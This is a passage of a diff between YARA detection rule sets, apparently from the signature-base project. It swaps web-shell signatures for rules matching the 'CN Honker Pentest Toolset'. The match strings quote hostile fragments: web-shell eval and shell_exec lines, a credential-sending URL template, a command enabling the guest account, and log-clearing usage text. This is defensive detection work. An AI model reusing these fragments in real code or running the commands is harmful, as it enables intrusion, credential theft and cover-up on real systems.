-		hash3 = "56c005690da2558690c4aa305a31ad37"
-		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
 
 	strings:
-		$s1 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"></head>" fullword
-		$s3 = "<input type=\"hidden\" name=\"_EVENTTARGET\" value=\"\" />" fullword
-		$s8 = "<input type=\"hidden\" name=\"_EVENTARGUMENT\" value=\"\" />" fullword
+		$s0 = "webshell" fullword ascii
+		$s1 = "Silic Group Hacker Army " fullword ascii
 
 	condition:
-		2 of them
+		filesize <3KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_404_Data_In_Jfolder_Jfolder01_Jsp_Suiyue_Warn
+rule SIGNATURE_BASE_CN_Honker_Net_Packet_Capt : FILE
 {
 	meta:
-		description = "Web Shell - from files 404.jsp, data.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, suiyue.jsp, warn.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file net_packet_capt.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "16e19be7-3805-5e2b-baa6-20554fb7a5cf"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3064-L3088"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e0da29499d76539fb1f5cfbe0a00331eeb0bb8fa861f2e2d686130ee4939fac"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1860-L1878"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2d45a2bd9e74cf14c1d93fff90c2b0665f109c52"
+		logic_hash = "b158199a27f1260da5f5c1a8e99bb1cc3d19fe2a10577cc5932f097ff39d4ef8"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "7066f4469c3ec20f4890535b5f299122"
-		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
-		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
-		hash3 = "8979594423b68489024447474d113894"
-		hash4 = "ec482fc969d182e5440521c913bab9bd"
-		hash5 = "f98d2b33cd777e160d1489afed96de39"
-		hash6 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
-		hash7 = "e9a5280f77537e23da2545306f6a19ad"
 
 	strings:
-		$s0 = "<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" bordercol"
-		$s2 = " KB </td>" fullword
-		$s3 = "<table width=\"98%\" border=\"0\" cellspacing=\"0\" cellpadding=\""
-		$s4 = "<!-- <tr align=\"center\"> " fullword
+		$s1 = "(*.sfd)" fullword ascii
+		$s2 = "GetLaBA" fullword ascii
+		$s3 = "GAIsProcessorFeature" fullword ascii
+		$s4 = "- Gablto " ascii
+		$s5 = "PaneWyedit" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Phpspy_2005_Full_Phpspy_2005_Lite_Phpspy_2006_PHPSPY
+rule SIGNATURE_BASE_CN_Honker_Cleaniislog : FILE
 {
 	meta:
-		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, PHPSPY.php"
+		description = "Sample from CN Honker Pentest Toolset - file CleanIISLog.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
-		date = "2014-01-28"
+		id = "3931ba63-faf5-5b44-879c-105cd2812712"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3090-L3110"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fc47a50c5964574fb9b9caf3fb94041f028998577bf4ccf21884a41fa1876572"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1880-L1894"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
+		logic_hash = "35b428d6178196b0dc6ac2ea3f0ee1dfbf6a98ead2356cb2a35d3d6b780538cc"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
-		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
-		hash2 = "40a1f840111996ff7200d18968e42cfe"
-		hash3 = "0712e3dc262b4e1f98ed25760b206836"
 
 	strings:
-		$s4 = "http://www.4ngel.net" fullword
-		$s5 = "</a> | <a href=\"?action=phpenv\">PHP" fullword
-		$s8 = "echo $msg=@fwrite($fp,$_POST['filecontent']) ? \"" fullword
-		$s9 = "Codz by Angel" fullword
+		$s1 = "Usage: CleanIISLog <LogFile>|<.> <CleanIP>|<.>" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_C99_Locus7S_C99_W4Cking_Xxx
+rule SIGNATURE_BASE_CN_Honker_HASH_Pwhash : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file pwhash.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "5d8c3648-a725-5f01-9800-b75b8c740cf1"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3111-L3140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4afadac41e729f77711eb3ea3ee8f6e8ce61e19294e90db024e5334e214d9647"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1896-L1911"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "689056588f95749f0382d201fac8f58bac393e98"
+		logic_hash = "a77ae11c35dac3cfb1a2970460d4883feed7fbd3e8a860fa7facaad7ddcd1182"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "38fd7e45f9c11a37463c3ded1c76af4c"
-		hash1 = "9c34adbc8fd8d908cbb341734830f971"
-		hash2 = "ef43fef943e9df90ddb6257950b3538f"
-		hash3 = "ae025c886fbe7f9ed159f49593674832"
-		hash4 = "911195a9b7c010f61b66439d9048f400"
-		hash5 = "697dae78c040150daff7db751fc0c03c"
-		hash6 = "513b7be8bd0595c377283a7c87b44b2e"
-		hash7 = "1d912c55b96e2efe8ca873d6040e3b30"
-		hash8 = "e5b2131dd1db0dbdb43b53c5ce99016a"
-		hash9 = "4108f28a9792b50d95f95b9e5314fa1e"
-		hash10 = "b8f261a3cdf23398d573aaf55eaf63b5"
-		hash11 = "0d2c2c151ed839e6bafc7aa9c69be715"
-		hash12 = "41af6fd253648885c7ad2ed524e0692d"
-		hash13 = "6fcc283470465eed4870bcc3e2d7f14d"
 
 	strings:
-		$s1 = "$res = @shell_exec($cfe);" fullword
-		$s8 = "$res = @ob_get_contents();" fullword
-		$s9 = "@exec($cfe,$res);" fullword
+		$s1 = "Example: quarks-pwdump.exe --dump-hash-domain --with-history" fullword ascii
+		$s2 = "quarks-pwdump.exe <options> <NTDS file>" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
 }
-rule SIGNATURE_BASE_Webshell_Browser_201_3_Ma_Ma2_Download
+rule SIGNATURE_BASE_CN_Honker_Cleaner_Cl_2 : FILE
 {
 	meta:
-		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, ma2.jsp, download.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file cl.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "9aa36c0a-9e0f-5274-bebe-9179d81b05f7"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3141-L3162"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b8bb6ca2eb146f8c170d629612ba12d4663445d443b681f2859af25d50ab6fe"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1913-L1928"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "523084e8975b16e255b56db9af0f9eecf174a2dd"
+		logic_hash = "865354152f8441009aaad9022f64c3a014c4df0549b648d66959df56893ab98a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
-		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
-		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
-		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
-		hash4 = "4b45715fa3fa5473640e17f49ef5513d"
-		hash5 = "fa87bbd7201021c1aefee6fcc5b8e25a"
 
 	strings:
-		$s1 = "private static final int EDITFIELD_ROWS = 30;" fullword
-		$s2 = "private static String tempdir = \".\";" fullword
-		$s6 = "<input type=\"hidden\" name=\"dir\" value=\"<%=request.getAttribute(\"dir\")%>\""
+		$s0 = "cl -eventlog All/Application/System/Security" fullword ascii
+		$s1 = "clear iislog error!" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_000_403_C5_Querydong_Spyjsp2010
+rule SIGNATURE_BASE_CN_Honker_Sqlmap_Python_Run : FILE
 {
 	meta:
-		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Run.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "308d929a-0f38-5db4-92c2-2a7bf25bb64f"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3163-L3184"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd01bb059d741fedaee17d46355c7cd8a845d714b20ae37db36424544b954d2f"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1930-L1946"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a51479a1c589f17c77d22f6cf90b97011c33145f"
+		logic_hash = "86d53a06e2f71b7ce7785c4c8ac017a4552b40c16d64474db4e22dbe1afd9e52"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
-		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
-		hash2 = "8b457934da3821ba58b06a113e0d53d9"
-		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
-		hash4 = "655722eaa6c646437c8ae93daac46ae0"
 
 	strings:
-		$s2 = "\" <select name='encode' class='input'><option value=''>ANSI</option><option val"
-		$s7 = "JSession.setAttribute(\"MSG\",\"<span style='color:red'>Upload File Failed!</spa"
-		$s8 = "File f = new File(JSession.getAttribute(CURRENT_DIR)+\"/\"+fileBean.getFileName("
-		$s9 = "((Invoker)ins.get(\"vd\")).invoke(request,response,JSession);" fullword
+		$s1 = ".\\Run.log" fullword ascii
+		$s2 = "[root@Hacker~]# Sqlmap " fullword ascii
+		$s3 = "%sSqlmap %s" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <30KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_R57Shell127_R57_Kartal_R57
+rule SIGNATURE_BASE_CN_Honker_Saminside : FILE
 {
 	meta:
-		description = "Web Shell - from files r57shell127.php, r57_kartal.php, r57.php"
+		description = "Sample from CN Honker Pentest Toolset - file SAMInside.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "c5ac9f0a-d1af-59c3-9c13-91153180f3d8"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3185-L3203"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fd849f76f8348ee57a9c96eed91c8cac416fdc45a08c93e93ebc952375de27a3"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1948-L1963"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "707ba507f9a74d591f4f2e2f165ff9192557d6dd"
+		logic_hash = "8f095a554121e16b63fdd8d47d957665aed7a2a5885813fa78bc4cee3b8923d3"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "ae025c886fbe7f9ed159f49593674832"
-		hash1 = "1d912c55b96e2efe8ca873d6040e3b30"
-		hash2 = "4108f28a9792b50d95f95b9e5314fa1e"
 
 	strings:
-		$s2 = "$handle = @opendir($dir) or die(\"Can't open directory $dir\");" fullword
-		$s3 = "if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }" fullword
-		$s5 = "if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_"
+		$s0 = "www.InsidePro.com" fullword wide
+		$s1 = "SAMInside.exe" fullword wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <650KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Con2
+rule SIGNATURE_BASE_CN_Honker_Webscan_Wwwscan : FILE
 {
 	meta:
-		description = "Web shells - generated from file con2.asp"
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "defe0024-f94a-560a-a9f6-b3849b41f9bb"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3205-L3219"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d3584159ab299d546bd77c9654932ae3"
-		logic_hash = "c681b04a1ee4d6af3275b6d772ef35f8bc888a5fcaf3b84f29f77c264e8ad9b9"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1965-L1981"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
+		logic_hash = "9d2eee1c1783a08a2eae86d4ea77bdb67db8cf0055a24d88ea09411e63018e8c"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = ",htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => e"
-		$s10 = "j \"<Form action='\"&URL&\"?Action2=Post' method='post' name='EditForm'><input n"
+		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
+		$s2 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$s3 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <60KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Make2
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_2_3389 : FILE
 {
 	meta:
-		description = "Web shells - generated from file make2.php"
+		description = "Sample from CN Honker Pentest Toolset - file 3389.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "8b2f5f6d-4d7b-561c-bd77-2de351e5aca8"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3220-L3233"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9af195491101e0816a263c106e4c145e"
-		logic_hash = "7c94c925b5fd7fbc37428c21a9ea3c5a73f4fa0a20a1f5d03f0d5a990bd6f45a"
-		score = 50
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1983-L1999"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "48d1974215e5cb07d1faa57e37afa91482b5a376"
+		logic_hash = "97e2a08dd391de44fc01c44ca6463aa009e93ad199a330eb99aaa809f14f2ef0"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "error_reporting(0);session_start();header(\"Content-type:text/html;charset=utf-8"
+		$s1 = "C:\\Documents and Settings\\Administrator\\" ascii
+		$s2 = "net user guest /active:yes" fullword ascii
+		$s3 = "\\Microsoft Word.exe" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <80KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Aaa
+rule SIGNATURE_BASE_CN_Honker_PHP_Php11 : FILE
 {
 	meta:
-		description = "Web shells - generated from file aaa.asp"
+		description = "Sample from CN Honker Pentest Toolset - file php11.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "e20eaab1-9799-5e61-9a25-3ac0dcce5f7f"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3234-L3249"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "68483788ab171a155db5266310c852b2"
-		logic_hash = "3c5b9dd86dc790b03a8540b2fb3a717c5ad17d34f366a319faa127479387eed9"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2001-L2017"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dcc8226e7eb20e4d4bef9e263c14460a7ee5e030"
+		logic_hash = "d32b0540521a6b1d65c224bdee463813d72846c26f27326a092bdf3b90c3ae7c"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Function fvm(jwv):If jwv=\"\"Then:fvm=jwv:Exit Function:End If:Dim tt,sru:tt=\""
-		$s5 = "<option value=\"\"DROP TABLE [jnc];exec mast\"&kvp&\"er..xp_regwrite 'HKEY_LOCAL"
-		$s17 = "if qpv=\"\" then qpv=\"x:\\Program Files\\MySQL\\MySQL Server 5.0\\my.ini\"&br&"
+		$s1 = "<tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else" ascii
+		$s2 = "foreach (glob($_GET['pathtomass'].\"/*.htm\") as $injectj00) {" fullword ascii
+		$s3 = "echo '[cPanel Found] '.$login.':'.$pass.\"  Success\\n\";" fullword ascii
 
 	condition:
-		1 of them
+		filesize <800KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Expdoor_Com_ASP
+rule SIGNATURE_BASE_CN_Honker_Webcruiserwvs : FILE
 {
 	meta:
-		description = "Web shells - generated from file Expdoor.com ASP.asp"
+		description = "Sample from CN Honker Pentest Toolset - file WebCruiserWVS.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "16bed1e8-a1f0-5fcf-9c03-83625a388547"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3250-L3267"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "caef01bb8906d909f24d1fa109ea18a7"
-		logic_hash = "838edb9d718b5e1a8be155c4569b4a291b37337e71b435c2b1cd6bcaa53c0dea"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2019-L2034"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6c90a9ed4c8a141a343dab1b115cc840a7190304"
+		logic_hash = "dd37765488f07299048e9b8fc552120e76d628e0adcaf474fce9bfe60774a0c8"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "\">www.Expdoor.com</a>" fullword
-		$s5 = "    <input name=\"FileName\" type=\"text\" value=\"Asp_ver.Asp\" size=\"20\" max"
-		$s10 = "set file=fs.OpenTextFile(server.MapPath(FileName),8,True)  '" fullword
-		$s14 = "set fs=server.CreateObject(\"Scripting.FileSystemObject\")   '" fullword
-		$s16 = "<TITLE>Expdoor.com ASP" fullword
+		$s0 = "id:uid:user:username:password:access:account:accounts:admin_id:admin_name:admin_" ascii
+		$s1 = "Created By WebCruiser - Web Vulnerability Scanner http://sec4app.com" fullword wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <700KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_New_Php2
+rule SIGNATURE_BASE_CN_Honker_Hookmsgina : FILE
 {
 	meta:
-		description = "Web shells - generated from file php2.php"
+		description = "Sample from CN Honker Pentest Toolset - file Hookmsgina.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "77813637-ec9f-599c-90c9-be1dd93b45f7"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3268-L3281"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fbf2e76e6f897f6f42b896c855069276"
-		logic_hash = "0350df076a25af77fbd8d5db2b38438a10cd5b9237b23b2f64c6360607b41982"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2036-L2053"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f4d9b329b45fbcf6a3b9f29f2633d5d3d76c9f9d"
+		logic_hash = "1e268624a5f8df200ef1a03ce167f38feda59836a864e17297473ba223c5895a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<?php $s=@$_GET[2];if(md5($s.$s)=="
+		$s1 = "\\\\.\\pipe\\WinlogonHack" fullword ascii
+		$s2 = "%s?host=%s&domain=%s&user=%s&pass=%s&port=%u" fullword ascii
+		$s3 = "Global\\WinlogonHack_Load%u" fullword ascii
+		$s4 = "Hookmsgina.dll" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Bypass_Iisuser_P
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_Xp3389 : FILE
 {
 	meta:
-		description = "Web shells - generated from file bypass-iisuser-p.asp"
+		description = "Sample from CN Honker Pentest Toolset - file xp3389.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-03-28"
+		id = "75d23c63-ba9e-55fd-90fe-5e054d28a777"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3282-L3295"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "924d294400a64fa888a79316fb3ccd90"
-		logic_hash = "60d0609291e5def26ce949c903ac767db4157b4f9cf4eee315c69ee7a8d8e77b"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L2055-L2071"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d776eb7596803b5b94098334657667d34b60d880"
+		logic_hash = "7fd7947a802a65dfd63ece3fc6eaf2da8207e99276a9f6b1ff2c937cf4327945"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%Eval(Request(chr(112))):Set fso=CreateObject"
+		$s1 = "echo \"fdenytsconnections\"=dword:00000000 >> c:\\reg.reg" fullword ascii
